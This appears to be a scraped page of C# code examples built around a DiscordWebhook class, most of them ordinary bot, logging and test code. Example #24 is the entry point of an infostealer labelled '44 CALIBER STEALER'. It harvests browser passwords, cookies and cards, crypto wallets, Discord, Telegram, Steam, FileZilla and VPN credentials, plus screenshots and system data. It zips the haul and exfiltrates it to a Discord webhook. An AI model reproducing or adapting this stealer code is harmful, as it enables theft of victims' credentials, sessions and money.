示例#1
0
 public DotNet(string url)
 {
     wb = new DiscordWebhook
     {
         Uri = new Uri(url)
     };
 }
示例#2
0
        internal static DiscordWebhook BuildBanWebhook(Player player, int duration, string reason = "", string issuer = "")
        {
            DiscordWebhook webH;
            List <Field>   listOfFields = new List <Field>();
            CultureInfo    timeFormat   = new CultureInfo("ja-JP");

            listOfFields.AddField("Playername: ", player?.Name ?? "TEST", true);
            listOfFields.AddField("Duration: ", (duration / 60).ToString("0", CultureInfo.InvariantCulture) + " minutes", true);
            listOfFields.AddField("Timespan: ", $"[{DateTime.UtcNow.ToString(timeFormat)}] -> [{DateTime.UtcNow.AddSeconds(duration).ToString(timeFormat)}]");
            if (!string.IsNullOrEmpty(reason))
            {
                listOfFields.AddField("Reason: ", reason, true);
            }
            if (Config.GetBoolValue("admintoolbox_ban_webhook_include_admin", false))
            {
                listOfFields.AddField("Issued By: ", string.IsNullOrEmpty(issuer) ? "Server" : issuer, true);
            }

            webH = new DiscordWebhook {
                embeds = new EmbedData[] { new EmbedData {
                                               author = new Author {
                                                   name = "User Banned: "
                                               }, title = "", fields = listOfFields.ToArray()
                                           } }
            };

            return(webH);
        }
示例#3
0
        public void TestInvalidLink()
        {
            DiscordWebhook webhook  = new DiscordWebhook(WorkshopType.Blueprint, "Test01", "ChangeLog");
            var            response = webhook.Call("https://discord.com/api/webhooks/NotARealLink");

            Assert.That(response == WebhookFailCause.InvalidURL);
        }
示例#4
0
        public void TestRottedLink()
        {
            DiscordWebhook webhook  = new DiscordWebhook(WorkshopType.Blueprint, "Test01", "ChangeLog");
            var            response = webhook.Call("https://discord.com/api/webhooks/1234567890/abcdABBCD0123456789-");

            Assert.That(response == WebhookFailCause.NoResponse);
        }
示例#5
0
        public async Task getIntro(CommandContext c, DiscordChannel ch = null)
        {
            ch = ch ?? c.Channel;
            DiscordWebhook hook = null;
            await c.TriggerTypingAsync();

            hook = await ch.CreateWebhookAsync("[Cycliq]", reason : "Command run: `get intro`");

            string[] images = new string[] { "https://send-me-femboy.thigh.pics/bdf88734799A79aC.png", "https://send-me-femboy.thigh.pics/Ce28e5Fbdc0B7ddA.png", "https://send-me-femboy.thigh.pics/6b2be89e057F79CF.png" };
            await hook.ExecuteAsync(new DiscordWebhookBuilder()
                                    .WithAvatarUrl("https://send-me-femboy.thigh.pics/4243aFb25f53beB1.png")
                                    .WithUsername("jai")
                                    .AddEmbed(new DiscordEmbedBuilder()
                                              .WithAuthor("jai, but as a webhook", "https://jaio.carrd.co", "https://send-me-femboy.thigh.pics/4243aFb25f53beB1.png")
                                              .WithDescription(@"Languages i code in:
proficient: python, js, HTML, CSS, SCSS
not too bad: C#, Java
Somewhat Actively Learning: C#, Java, C++, Rust, Zig, SQL
Plan to learn: C, Haxe

[my youtube](https://www.youtube.com/channel/UCBY-ILM-Up8QXgz-hua0h9Q),  [my kofi](https://ko-fi.com/jdadonut/), [my anilist](https://anilist.co/user/jaio/),  [my steam](https://steamcommunity.com/id/jdadonut/),  [my keybase](https://keybase.io/jaio), [my github](https://github.com/jdadonut/), [my telegram](https://t.me/jai_jisj/)")
                                              .WithTitle("your worst daydream")
                                              .WithUrl("https://jaio.carrd.co/")
                                              .AddField("pronouns", "meow/she/they", true)
                                              .AddField("gender", "girl", true)
                                              .AddField("sexuality", "pansexual", true)
                                              .AddField("what are my aspirations", "in all honesty i would throw away most things to become someone's pet catgirl but other then that i want to make programs and get enough of a passive income to where all of my passions can stay fun and not turn into chores for me and i can live comfortably with my best friends and significant other or i could be a leftist politician that runs on a platform of human rights for every single person in the U.S.")
                                              .WithColor(new DiscordColor("#FF1493"))
                                              .WithImageUrl(images[c.Services.GetService <Random>().Next(1, 4) - 1])));

            await c.Services.GetService <HttpClient>().DeleteAsync($"https://canary.discord.com/api/webhooks/{hook.Id}/{hook.Token}");

            return;
        }
        private async Task <ulong> ExecuteWebhookInner(DiscordChannel channel, DiscordWebhook webhook, string name, string avatarUrl, string content,
                                                       IReadOnlyList <DiscordAttachment> attachments, bool allowEveryone, bool hasRetried = false)
        {
            content = content.Truncate(2000);

            var dwb = new DiscordWebhookBuilder();

            dwb.WithUsername(FixClyde(name).Truncate(80));
            dwb.WithContent(content);
            dwb.AddMentions(content.ParseAllMentions(allowEveryone, channel.Guild));
            if (!string.IsNullOrWhiteSpace(avatarUrl))
            {
                dwb.WithAvatarUrl(avatarUrl);
            }

            var attachmentChunks = ChunkAttachmentsOrThrow(attachments, 8 * 1024 * 1024);

            if (attachmentChunks.Count > 0)
            {
                _logger.Information("Invoking webhook with {AttachmentCount} attachments totalling {AttachmentSize} MiB in {AttachmentChunks} chunks", attachments.Count, attachments.Select(a => a.FileSize).Sum() / 1024 / 1024, attachmentChunks.Count);
                await AddAttachmentsToBuilder(dwb, attachmentChunks[0]);
            }

            DiscordMessage response;

            using (_metrics.Measure.Timer.Time(BotMetrics.WebhookResponseTime)) {
                try
                {
                    response = await webhook.ExecuteAsync(dwb);
                }
                catch (JsonReaderException)
                {
                    // This happens sometimes when we hit a CloudFlare error (or similar) on Discord's end
                    // Nothing we can do about this - happens sometimes under server load, so just drop the message and give up
                    throw new WebhookExecutionErrorOnDiscordsEnd();
                }
                catch (NotFoundException e)
                {
                    var errorText = e.WebResponse?.Response;
                    if (errorText != null && errorText.Contains("10015") && !hasRetried)
                    {
                        // Error 10015 = "Unknown Webhook" - this likely means the webhook was deleted
                        // but is still in our cache. Invalidate, refresh, try again
                        _logger.Warning("Error invoking webhook {Webhook} in channel {Channel}", webhook.Id, webhook.ChannelId);

                        var newWebhook = await _webhookCache.InvalidateAndRefreshWebhook(channel, webhook);

                        return(await ExecuteWebhookInner(channel, newWebhook, name, avatarUrl, content, attachments, allowEveryone, hasRetried : true));
                    }

                    throw;
                }
            }

            // We don't care about whether the sending succeeds, and we don't want to *wait* for it, so we just fork it off
            var _ = TrySendRemainingAttachments(webhook, name, avatarUrl, attachmentChunks);

            return(response.Id);
        }
示例#7
0
        /// <summary>Generate a new webhook instance with the provided settings.</summary>
        public WebhookInfo(ulong id, string token)
        {
            webhook = Program.BotClient.GetWebhookWithTokenAsync(id, token)
                      .ConfigureAwait(false).GetAwaiter().GetResult();

            Id = id;

            validWebhook = true;
        }
示例#8
0
 internal static string SendWebhook(DiscordWebhook discordWebHook, string url)
 {
     if (!string.IsNullOrEmpty(url) && Uri.TryCreate(url, UriKind.Absolute, out Uri uri))
     {
         byte[] jsonData = Utf8Json.JsonSerializer.Serialize(discordWebHook);
         Debug("WebHook sent: \n" + Utf8.GetString(jsonData));
         return(WebPost(uri, jsonData));
     }
     else
     {
         return("Failed creating URI of WebHook link: " + url);
     }
 }
 static async Task SendAdminNotification(DiscordWebhook discord, string message, string description, Dictionary <string, string> fields = null)
 {
     await discord.SendMessageAsync(message, new List <DiscordWebhookEmbed>
     {
         new DiscordWebhookEmbed
         {
             Description = description,
             Fields      = (fields ?? new Dictionary <string, string>()).Select(k => new DiscordWebhookEmbedField {
                 Name = k.Key, Value = k.Value
             }).ToList()
         }
     });
 }
        /// <summary>
        /// Gets a list of webhooks active for the specified guild text channel.
        /// <para>Requires <see cref="DiscordPermission.ManageWebhooks"/>.</para>
        /// </summary>
        /// <exception cref="DiscordHttpApiException"></exception>
        public async Task <IReadOnlyList <DiscordWebhook> > GetChannelWebhooks(Snowflake channelId)
        {
            DiscordApiData apiData = await rest.Get($"channels/{channelId}/webhooks",
                                                    $"channels/{channelId}/webhooks").ConfigureAwait(false);

            DiscordWebhook[] webhooks = new DiscordWebhook[apiData.Values.Count];

            for (int i = 0; i < apiData.Values.Count; i++)
            {
                webhooks[i] = new DiscordWebhook(this, apiData.Values[i]);
            }

            return(webhooks);
        }
示例#11
0
        public async Task <IActionResult> DeleteDiscordWebhook(DeleteDiscordWebhookViewModel model)
        {
            model.Message = string.Empty;

            try
            {
                if (ModelState.IsValid)
                {
                    DiscordWebhook dbDiscordWebhook = await
                                                      (
                        from s in _context.DiscordWebhooks
                        where
                        string.Compare(s.Url, model.Url, true) == 0
                        select s
                                                      ).FirstOrDefaultAsync();

                    if (dbDiscordWebhook != null &&
                        dbDiscordWebhook.DeletedAt == null)
                    {
                        dbDiscordWebhook.DeletedAt = DateTimeOffset.Now;

                        await _context.SaveChangesAsync();

                        if (_cache.TryGetValue(__tadwsKey, out int value))
                        {
                            _cache.Remove(__tadwsKey);
                        }

                        await SendGoogleAnalyticsConversion
                        (
                            "discord-webhook",
                            "deregister",
                            "na",
                            model.Url.ToLowerInvariant().GetHashCode().ToString()
                        );
                    }

                    model.Message = "<div class=\"alert alert-success\">Your Discord Webhook has been successfully deregistered.</div>";
                }
            }
            catch (Exception ex)
            {
                // TODO log
                model.Message = "<div class=\"alert alert-danger\">An error has occured. Please try again later.</div>";
                Trace.WriteLine(ex);
            }

            return(View(model));
        }
示例#12
0
        public void SendMessage(string[] args, EMessageType messageType)
        {
            DiscordWebhook webhook = configuration.Webhooks.FirstOrDefault(x => x.WebhookType == messageType.ToString());

            if (webhook == null || string.IsNullOrEmpty(webhook.WebhookUrl))
            {
                return;
            }

            List <Field> fields = new List <Field>();

            string[] array = webhook.MessageFormat.Split(new string[] { ": ", ", " }, StringSplitOptions.RemoveEmptyEntries);
            int      num   = 0;

            while (num < array.Length - 1)
            {
                string[] arr = array.Skip(num).Take(2).ToArray();

                string value = arr[1].Replace("{name}", args[0]).Replace("{steamid}", args[1]).Replace("{punisher}", args[2]);

                if (messageType != EMessageType.Unban)
                {
                    value = value.Replace("{reason}", args[3]);
                }
                if (messageType == EMessageType.Ban)
                {
                    value = value.Replace("{duration}", args[4]);
                }

                Field field = new Field(arr[0], value, true);

                fields.Add(field);
                num += 2;
            }

            DiscordWebhookMessage msg = new DiscordWebhookMessage();

            msg.embeds = new List <Embed>()
            {
                new Embed(fields)
            };

            using (WebClient wc = new WebClient())
            {
                wc.Headers.Add(HttpRequestHeader.ContentType, "application/json");
                wc.UploadString(webhook.WebhookUrl, JsonConvert.SerializeObject(msg));
            }
        }
示例#13
0
            public async Task DeleteAsync(CommandContext ctx,
                                          [Description("Name.")] string name,
                                          [Description("Channel to list webhooks for.")] DiscordChannel channel = null)
            {
                channel = channel ?? ctx.Channel;

                IEnumerable <DiscordWebhook> whs = await channel.GetWebhooksAsync();

                DiscordWebhook wh = whs.SingleOrDefault(w => w.Name.ToLowerInvariant() == name.ToLowerInvariant());

                if (wh is null)
                {
                    throw new CommandFailedException($"Webhook with name {Formatter.InlineCode(name)} does not exist!");
                }

                await wh.DeleteAsync();

                await this.InformAsync(ctx, $"Successfully deleted webhook {Formatter.InlineCode(wh.Name)}!", important : false);
            }
示例#14
0
        /// <summary>
        /// Used to send embeds or messages via a webhook
        /// </summary>
        public WebHookHandler(DiscordChannel channel, string username, string avatarUrl = null)
        {
            if (channel == null)
            {
                throw new ArgumentNullException(nameof(channel));
            }
            else if (string.IsNullOrEmpty(username))
            {
                throw new ArgumentNullException(nameof(username));
            }

            if (!string.IsNullOrEmpty(avatarUrl))
            {
                _avatarUrl = new Uri(avatarUrl);
            }

            _username = username;
            _webhook  = channel.CreateWebhookAsync(username).ConfigureAwait(false).GetAwaiter().GetResult();
        }
示例#15
0
        public async Task CopyPinAsync(DiscordWebhook hook, DiscordMessage message, GuildInfo info, PinsDbContext db)
        {
            var content     = new StringBuilder();
            var attachments = message.Attachments.ToList();

            var messageLink = $"https://discordapp.com/channels/{message.Channel.GuildId}/{message.ChannelId}/{message.Id}";
            var embed       = new DiscordEmbedBuilder()
                              .WithAuthor($"{message.Author.Username}", messageLink, message.Author.GetAvatarUrl(ImageFormat.Png, 128))
                              .WithDescription(message.Content.Length <= 1000 ? message.Content : $"{message.Content.Substring(0, 997)}...")
                              .WithTimestamp(message.Timestamp)
                              .WithFooter($"In #{message.Channel.Name}");

            if ((message.Author as DiscordMember).Color.Value != default)
            {
                embed.WithColor((message.Author as DiscordMember).Color);
            }

            foreach (var attachment in attachments)
            {
                var ext = Path.GetExtension(attachment.FileName.ToLowerInvariant());
                if ((ext == ".jpg" || ext == ".png" || ext == ".gif" || ext == ".webp") && attachment.Width != 0 && embed.ImageUrl == null)
                {
                    embed.WithImageUrl(attachment.Url);
                }
                else
                {
                    content.AppendLine(attachment.Url);
                }
            }

            var currentMember = message.Channel.Guild.CurrentMember;
            await hook.ExecuteAsync(content.ToString(), currentMember.Username, currentMember.AvatarUrl, false, new[] { embed.Build() }, null);

            var dbPin = new PinnedMessage()
            {
                GuildId = info.Id, Id = (long)message.Id
            };

            info.PinnedMessages.Add(dbPin);

            await db.AddAsync(dbPin);
        }
        private async Task TrySendRemainingAttachments(DiscordWebhook webhook, string name, string avatarUrl, IReadOnlyList <IReadOnlyCollection <DiscordAttachment> > attachmentChunks)
        {
            if (attachmentChunks.Count <= 1)
            {
                return;
            }

            for (var i = 1; i < attachmentChunks.Count; i++)
            {
                var dwb = new DiscordWebhookBuilder();
                if (avatarUrl != null)
                {
                    dwb.WithAvatarUrl(avatarUrl);
                }
                dwb.WithUsername(name);
                await AddAttachmentsToBuilder(dwb, attachmentChunks[i]);

                await webhook.ExecuteAsync(dwb);
            }
        }
示例#17
0
        public async Task <CommandResult> RunAsync(DiscordChannel channel)
        {
            if (channel.Guild.Id == Context.Guild.Id)
            {
                GuildData data = this.GetData <GuildData>(channel.Guild.Id.ToString());
                if (data.Webhook != null)
                {
                    return("Pins have already been configured for this server. Run this command without arguments to disable pin redirection.");
                }

                var webhooks = await channel.GetWebhooksAsync();

                using (MemoryStream str = new MemoryStream())
                    using (Stream sourceStr = await _client.GetStreamAsync(Context.Client.CurrentUser.AvatarUrl))
                    {
                        sourceStr.CopyTo(str);
                        str.Seek(0, SeekOrigin.Begin);

                        DiscordWebhook webhook = await channel.CreateWebhookAsync("WamBot Pins Webhook", str, $"Pins setup by {Context.Author.Username}#{Context.Author.Discriminator}");

                        Meta.WebhookClient.AddWebhook(webhook);
                        await webhook.ExecuteAsync("Webhook setup!");

                        data.Webhook = webhook;

                        DiscordMessage msg = await Context.ReplyAsync("Updating pins, this may take a while...");

                        await Meta.UpdatePinsAsync(DateTimeOffset.Now, Context.Channel, data, Context.Client);

                        await msg.DeleteAsync();

                        this.SetData(channel.Guild.Id.ToString(), data);
                        return("Pins channel configured and updated!");
                    }
            }
            else
            {
                return("Oi! You cannae do that!");
            }
        }
示例#18
0
        public void SendMessage(string content, EMessageType messageType)
        {
            DiscordWebhook webhook = configuration.Webhooks.FirstOrDefault(x => x.WebhookType == messageType.ToString());

            if (webhook == null || string.IsNullOrEmpty(webhook.WebhookUrl))
            {
                return;
            }

            DiscordWebhookMessage msg = new DiscordWebhookMessage();

            msg.embeds = new List <Embed>()
            {
                new Embed(content, Convert.ToInt32(webhook.WebhookColor, 16))
            };

            using (WebClient wc = new WebClient())
            {
                wc.Headers.Add(HttpRequestHeader.ContentType, "application/json");
                wc.UploadString(webhook.WebhookUrl, JsonConvert.SerializeObject(msg));
            }
        }
示例#19
0
 public static string BuildUrlString(this DiscordWebhook wh)
 => $"https://discordapp.com/api/webhooks/{ wh.ChannelId }/{ wh.Token }";
        static async Task <(HttpStatusCode code, HttpResponseMessage message)> GetJournalAsync(DateTime journalDate, Shared.Models.User.Profile user, MSSQLDB db, HttpClient hc, MinioClient minioClient, DiscordWebhook discord)
        {
            var oldJournalRow = await db.ExecuteListAsync <UserJournal>(
                "SELECT TOP 1 * FROM user_journal WHERE user_identifier = @user_identifier AND journal_date = @journal_date",
                new SqlParameter("user_identifier", user.UserIdentifier),
                new SqlParameter("journal_date", journalDate)
                );

            if (oldJournalRow.Count > 1)
            {
                throw new TooManyOldJournalItemsException(journalDate, user.UserIdentifier);
            }

            var previousRow = oldJournalRow.FirstOrDefault();

            if (previousRow?.CompleteEntry ?? false)
            {
                return(HttpStatusCode.OK, null);
            }

            var pollicy = Policy <HttpResponseMessage>
                          .Handle <HttpRequestException>()
                          .OrResult(r => !r.IsSuccessStatusCode)
                          .OrResult(r => r.StatusCode == HttpStatusCode.PartialContent)
                          .WaitAndRetryAsync(100, attempt => TimeSpan.FromSeconds(5));

            var journalRequest = await pollicy.ExecuteAsync(() => hc.GetAsync($"/journal/{journalDate.Year}/{journalDate.Month}/{journalDate.Day}"));

            var journalContent = await journalRequest.Content.ReadAsStringAsync();

            if (!journalRequest.IsSuccessStatusCode || journalRequest.StatusCode == HttpStatusCode.PartialContent)
            {
                return(journalRequest.StatusCode, journalRequest);
            }

            var journalRows = journalContent.Trim().Split('\n', StringSplitOptions.RemoveEmptyEntries);

            bool updateFileOnS3 = (previousRow?.LastProcessedLineNumber ?? 0) != journalRows.Length && (previousRow?.LastProcessedLine != (journalRows.LastOrDefault() ?? string.Empty)) && journalContent.Trim() != "{}";

            if (!string.IsNullOrWhiteSpace(journalContent) && journalContent.Trim() != "{}")
            {
                var firstValidRow = string.Empty;

                foreach (var row in journalRows)
                {
                    try
                    {
                        _             = JsonDocument.Parse(row).RootElement;
                        firstValidRow = row;
                        break;
                    }
                    catch
                    {
                    }
                }

                if (!string.IsNullOrWhiteSpace(firstValidRow))
                {
                    try
                    {
                        var row = JsonDocument.Parse(firstValidRow).RootElement;

                        var apiFileHeader = new
                        {
                            Timestamp   = row.GetProperty("timestamp").GetString(),
                            Event       = "JournalLimpetFileheader",
                            Description = "Missing fileheader from cAPI journal"
                        };

                        var serializedApiFileHeader = JsonSerializer.Serialize(apiFileHeader, new JsonSerializerOptions {
                            PropertyNamingPolicy = JsonNamingPolicy.CamelCase
                        });
                        serializedApiFileHeader = serializedApiFileHeader.Insert(serializedApiFileHeader.Length - 1, " ").Insert(1, " ");

                        journalContent =
                            serializedApiFileHeader +
                            "\n" +
                            journalContent;
                    }
                    catch (Exception ex)
                    {
                        if (ex.ToString().Contains("Json"))
                        {
                            var errorMessage = "Line failed: " + firstValidRow;

                            await SendAdminNotification(discord,
                                                        "**[JOURNAL]** JSON Reader Exception while fetching first item",
                                                        errorMessage
                                                        );

                            return(HttpStatusCode.InternalServerError, new HttpResponseMessage(HttpStatusCode.InternalServerError)
                            {
                                Content = new StringContent("faulty row: " + firstValidRow)
                            });
                        }
                    }
                }
            }

            var journalLineCount = journalContent.Trim().Split('\n', StringSplitOptions.RemoveEmptyEntries).Length;

            var    journalBytes = ZipManager.Zip(journalContent.Trim());
            string fileName     = $"{user.UserIdentifier}/journal/{journalDate.Year}/{journalDate.Month.ToString().PadLeft(2, '0')}/{journalDate.Day.ToString().PadLeft(2, '0')}.journal";

            if (updateFileOnS3)
            {
                using (var ms = new MemoryStream(journalBytes))
                {
                    var policy = Policy
                                 .Handle <ConnectionException>()
                                 .WaitAndRetryAsync(new[] {
                        TimeSpan.FromSeconds(1),
                        TimeSpan.FromSeconds(2),
                        TimeSpan.FromSeconds(4),
                        TimeSpan.FromSeconds(8),
                        TimeSpan.FromSeconds(16),
                    });

                    await policy.ExecuteAsync(() => minioClient.PutObjectAsync("journal-limpet", fileName, ms, ms.Length, "application/gzip"));
                }

                await SSEActivitySender.SendUserActivityAsync(user.UserIdentifier,
                                                              $"Downloaded journals for {journalDate:yyyy-MM-dd}",
                                                              $"We downloaded {journalLineCount:N0} lines of journal for this day",
                                                              "success"
                                                              );

                await SSEActivitySender.SendStatsActivityAsync(db);
            }

            if (previousRow == null)
            {
                await db.ExecuteNonQueryAsync(@"INSERT INTO user_journal (user_identifier, journal_date, s3_path, last_processed_line, last_processed_line_number, complete_entry, last_update)
VALUES (@user_identifier, @journal_date, @s3_path, @last_processed_line, @last_processed_line_number, @complete_entry, GETUTCDATE())",
                                              new SqlParameter("user_identifier", user.UserIdentifier),
                                              new SqlParameter("journal_date", journalDate),
                                              new SqlParameter("s3_path", fileName),
                                              new SqlParameter("last_processed_line", journalRows.LastOrDefault() ?? string.Empty),
                                              new SqlParameter("last_processed_line_number", journalLineCount),
                                              new SqlParameter("complete_entry", DateTime.UtcNow.Date > journalDate.Date)
                                              );
            }
            else
            {
                await db.ExecuteNonQueryAsync(@"UPDATE user_journal SET
last_processed_line = @last_processed_line,
last_processed_line_number = @last_processed_line_number,
complete_entry = @complete_entry,
last_update = GETUTCDATE()
WHERE journal_id = @journal_id AND user_identifier = @user_identifier",
                                              new SqlParameter("journal_id", previousRow.JournalId),
                                              new SqlParameter("user_identifier", user.UserIdentifier),
                                              new SqlParameter("last_processed_line", journalRows.LastOrDefault() ?? string.Empty),
                                              new SqlParameter("last_processed_line_number", journalLineCount),
                                              new SqlParameter("complete_entry", DateTime.UtcNow.Date > journalDate.Date)
                                              );
            }

            Thread.Sleep(5000);
            return(HttpStatusCode.OK, journalRequest);
        }
示例#21
0
 public DiscordWebhookOAuthResponse(DiscordWebhook webhook)
 {
     Webhook = webhook;
 }
示例#22
0
 public Startup(IConfiguration configuration, IHostEnvironment hostingEnvironment)
 {
     Configuration      = configuration;
     HostingEnvironment = hostingEnvironment;
     DiscordWebhook.SetWebhooks(Configuration.GetSection("DiscordWebhooks"));
 }
示例#23
0
        private static async Task <bool> SendEventBatch(Guid userIdentifier, PerformContext context, IConfiguration configuration, DiscordWebhook discordClient, HttpClient hc, string lastLine, UserJournal journalItem, bool loggingEnabled, IntegrationJournalData ijd, List <Dictionary <string, object> > journalEvents)
        {
            var breakJournal = false;
            await SSEActivitySender.SendUserLogDataAsync(userIdentifier, new { fromIntegration = "Canonn R&D", data = journalEvents });

            var json = JsonSerializer.Serialize(journalEvents, new JsonSerializerOptions()
            {
                WriteIndented = true
            });

            if (loggingEnabled)
            {
                context.WriteLine($"Sent event:\n{json}");
            }

            var res = await SendEventsToCanonn(hc, configuration, json, context);

            switch (res.errorCode)
            {
            // These codes are OK
            case 200:
                break;

            // We're sending too many requests at once, let's break out of the loop and wait until next batch
            case 429:
                breakJournal = true;
                context.WriteLine("We're sending stuff too quickly, breaking out of the loop");
                context.WriteLine(lastLine);
                context.WriteLine(res.resultContent);

                await discordClient.SendMessageAsync("**[Canonn R&D Upload]** Rate limited by Canonn", new List <DiscordWebhookEmbed>
                {
                    new DiscordWebhookEmbed
                    {
                        Description = res.resultContent,
                        Fields      = new Dictionary <string, string>()
                        {
                            { "User identifier", userIdentifier.ToString() },
                            { "Last line", lastLine },
                            { "Journal", journalItem.S3Path },
                            { "Current GameState", JsonSerializer.Serialize(ijd.CurrentGameState, new JsonSerializerOptions {
                                    WriteIndented = true
                                }) }
                        }.Select(k => new DiscordWebhookEmbedField {
                            Name = k.Key, Value = k.Value
                        }).ToList()
                    }
                });

                await Task.Delay(30000);

                break;

            // Exceptions and debug
            case 500:     // Exception: %%
            case 501:     // %%
            case 502:     // Broken gateway
            case 503:
                breakJournal = true;
                context.WriteLine("We got an error from the service, breaking off!");
                context.WriteLine(lastLine);
                context.WriteLine(res.resultContent);

                await discordClient.SendMessageAsync("**[Canonn R&D Upload]** Error from the API", new List <DiscordWebhookEmbed>
                {
                    new DiscordWebhookEmbed
                    {
                        Description = res.resultContent,
                        Fields      = new Dictionary <string, string>()
                        {
                            { "User identifier", userIdentifier.ToString() },
                            { "Last line", lastLine },
                            { "Journal", journalItem.S3Path },
                            { "Current GameState", JsonSerializer.Serialize(ijd.CurrentGameState, new JsonSerializerOptions {
                                    WriteIndented = true
                                }) }
                        }.Select(k => new DiscordWebhookEmbedField {
                            Name = k.Key, Value = k.Value
                        }).ToList()
                    }
                });

                break;

            default:
                breakJournal = true;
                context.WriteLine("We got an error from the service, breaking off!");
                context.WriteLine(lastLine);
                context.WriteLine(res.resultContent);

                await discordClient.SendMessageAsync("**[Canonn R&D Upload]** Unhandled response code", new List <DiscordWebhookEmbed>
                {
                    new DiscordWebhookEmbed
                    {
                        Description = res.resultContent,
                        Fields      = new Dictionary <string, string>()
                        {
                            { "User identifier", userIdentifier.ToString() },
                            { "Last line", lastLine },
                            { "Journal", journalItem.S3Path },
                            { "Current GameState", JsonSerializer.Serialize(ijd.CurrentGameState, new JsonSerializerOptions {
                                    WriteIndented = true
                                }) }
                        }.Select(k => new DiscordWebhookEmbedField {
                            Name = k.Key, Value = k.Value
                        }).ToList()
                    }
                });

                break;
            }

            return(breakJournal);
        }
示例#24
0
        public static void Main(string[] args)
        {
            if (!File.Exists(Help.ExploitDir))                                                       // Проверка запущен ли уже стиллер
            {
                if (Process.GetProcessesByName(Process.GetCurrentProcess().ProcessName).Length == 1) // Проверка запущен ли уже стиллер
                {
                    try
                    {
                        Directory.CreateDirectory(Help.ExploitDir);
                        List <Thread> Threads = new List <Thread>();

                        Threads.Add(new Thread(() => Browsers.Start()));     // Старт потока с браузерами

                        Threads.Add(new Thread(() => Files.GetFiles()));     // Старт потока с грабом файлов

                        Threads.Add(new Thread(() => StartWallets.Start())); // Старт потока c криптокошельками

                        Threads.Add(new Thread(() =>
                        {
                            Help.Ethernet();              // Получение информации о айпи
                            Screen.GetScreen();           // Скриншот экрана
                            ProcessList.WriteProcesses(); // Получение списка процессов
                            SystemInfo.GetSystem();       // Скриншот экрана
                        }));

                        Threads.Add(new Thread(() =>
                        {
                            ProtonVPN.Save();
                            OpenVPN.Save();
                            NordVPN.Save();
                            Steam.SteamGet();
                        }));

                        Threads.Add(new Thread(() =>
                        {
                            Discord.WriteDiscord();
                            FileZilla.GetFileZilla();
                            Telegram.GetTelegramSessions();
                            Vime.Get();
                        }));

                        foreach (Thread t in Threads)
                        {
                            t.Start();
                        }
                        foreach (Thread t in Threads)
                        {
                            t.Join();
                        }

                        // Пакуем в апхив с паролем
                        string zipArchive = Help.ExploitDir + "\\" + SystemInfo.CountryCode() + SystemInfo.IP() + "(" + Help.dateLog + ")" + ".zip";
                        using (Ionic.Zip.ZipFile zip = new Ionic.Zip.ZipFile(Encoding.GetEncoding("cp866"))) // Устанавливаем кодировку
                        {
                            zip.ParallelDeflateThreshold = -1;
                            zip.UseZip64WhenSaving       = Ionic.Zip.Zip64Option.Always;
                            zip.CompressionLevel         = Ionic.Zlib.CompressionLevel.Default; // Задаем степень сжатия
                            zip.Comment =
                                "\n ================================================" +
                                "\n ===============44 CALIBER STEALER===============" +
                                "\n ================================================" +
                                "\n Maded by ChaosInsurgency | lolz.guru/thanatophobia" +
                                "\n              telegram @chaosinsurgency          " +
                                "\n Written exclusively for educational purposes! I am not responsible for the use of this project and any of its parts code.";
                            zip.Password = Config.zipPass;
                            zip.AddDirectory(Help.ExploitDir); // Кладем в архив содержимое папки с логом
                            zip.Save(zipArchive);              // Сохраняем архив
                        }

                        string mssgBody =
                            "\n :spy: NEW LOG FROM - " + Environment.MachineName + " " + Environment.UserName + " :person_in_manual_wheelchair:" +
                            "\n :eye: IP: " + SystemInfo.IP() + " " + SystemInfo.Country() +
                            "\n :desktop: " + SystemInfo.GetSystemVersion() +
                            "\n ================================" +
                            "\n :key: Passwords - " + Counting.Passwords +
                            "\n :cookie: Cookies - " + Counting.Cookies +
                            //"\n History - " + Counting.History +
                            "\n :notepad_spiral: AutoFills - " + Counting.AutoFill +
                            "\n :credit_card: CC - " + Counting.CreditCards +
                            "\n :file_folder: Grabbed Files - " + Counting.FileGrabber +
                            "\n ================================" +
                            "\n GRABBED SOFTWARE:" +
                            (Counting.Discord > 0 ? "\n   Discord" : "") +
                            (Counting.Wallets > 0 ? "\n   Wallets" : "") +
                            (Counting.Telegram > 0 ? "\n   Telegram" : "") +
                            (Counting.FileZilla > 0 ? "\n   FileZilla" + " (" + Counting.FileZilla + ")" : "") +
                            (Counting.Steam > 0 ? "\n   Steam" : "") +
                            (Counting.NordVPN > 0 ? "\n   NordVPN" : "") +
                            (Counting.OpenVPN > 0 ? "\n   OpenVPN" : "") +
                            (Counting.ProtonVPN > 0 ? "\n   ProtonVPN" : "") +
                            (Counting.VimeWorld > 0 ? "\n   VimeWorld" + (Config.VimeWorld == true ?
                                                                          $":\n     NickName - {Vime.NickName()} " +
                                                                          $":\n     Donate - {Vime.Donate()} " +
                                                                          $":\n     Level - {Vime.Level()}" : "") : "") +
                            "\n ================================" +
                            "\n DOMAINS DETECTED:" +
                            "\n - " + URLSearcher.GetDomainDetect(Help.ExploitDir + "\\Browsers\\");


                        string filename    = Environment.MachineName + "." + Environment.UserName + ".zip";
                        string fileformat  = "zip";
                        string filepath    = zipArchive;
                        string application = "";

                        try
                        {
                            DiscordWebhook.SendFile(mssgBody, filename, fileformat, filepath, application); // Отправка лога в дискорд
                        }
                        catch
                        {
                            DiscordWebhook.Send("Log size is more then 8 MB. Sending isn`t available.");

                            /* В дискорде имеется ограничение на макс. размер файла. На серверах без буста максимальный размер файла 8 мб, когда с бустом 50.
                             * Если есть возможность использовать сервер с бустом, то используйте его. */
                        }

                        Finish(); // Автоудаление
                    }

                    catch (Exception e)
                    {
                        Console.WriteLine(e);
                    }
                }
            }
        }
示例#25
0
        public async Task <IActionResult> DiscordWebhooks(AddDiscordWebhookViewModel model)
        {
            try
            {
                string failedTestMessage = "<div class=\"alert alert-danger\">Failed to register Discord Webhook. Please make sure you have created the Discord Webhook on your Discord server and that the provided URL is valid.</div>";
                string successMessage    = "<div class=\"alert alert-success\">Your Discord Webhook has been successfully registered.</div>";

                model.Message = string.Empty;

                bool recaptchaResult = await VerifyGoogleRecaptcha(model.RecaptchaResponse);

                if (!recaptchaResult)
                {
                    model.Message = "<div class=\"alert alert-danger\">Recaptcha validation failed.</div>";

                    return(View(model));
                }

                if (ModelState.IsValid)
                {
                    // Find existing discord webhook.
                    DiscordWebhook dbDiscordWebhook = await
                                                      (
                        from s in _context.DiscordWebhooks
                        where
                        string.Compare(s.Url, model.Url, true) == 0
                        select s
                                                      ).FirstOrDefaultAsync();

                    // Was existing found?
                    if (dbDiscordWebhook != null)
                    {
                        // Existing found, is it registered?
                        if (dbDiscordWebhook.DeletedAt != null)
                        {
                            // Test discord webhook
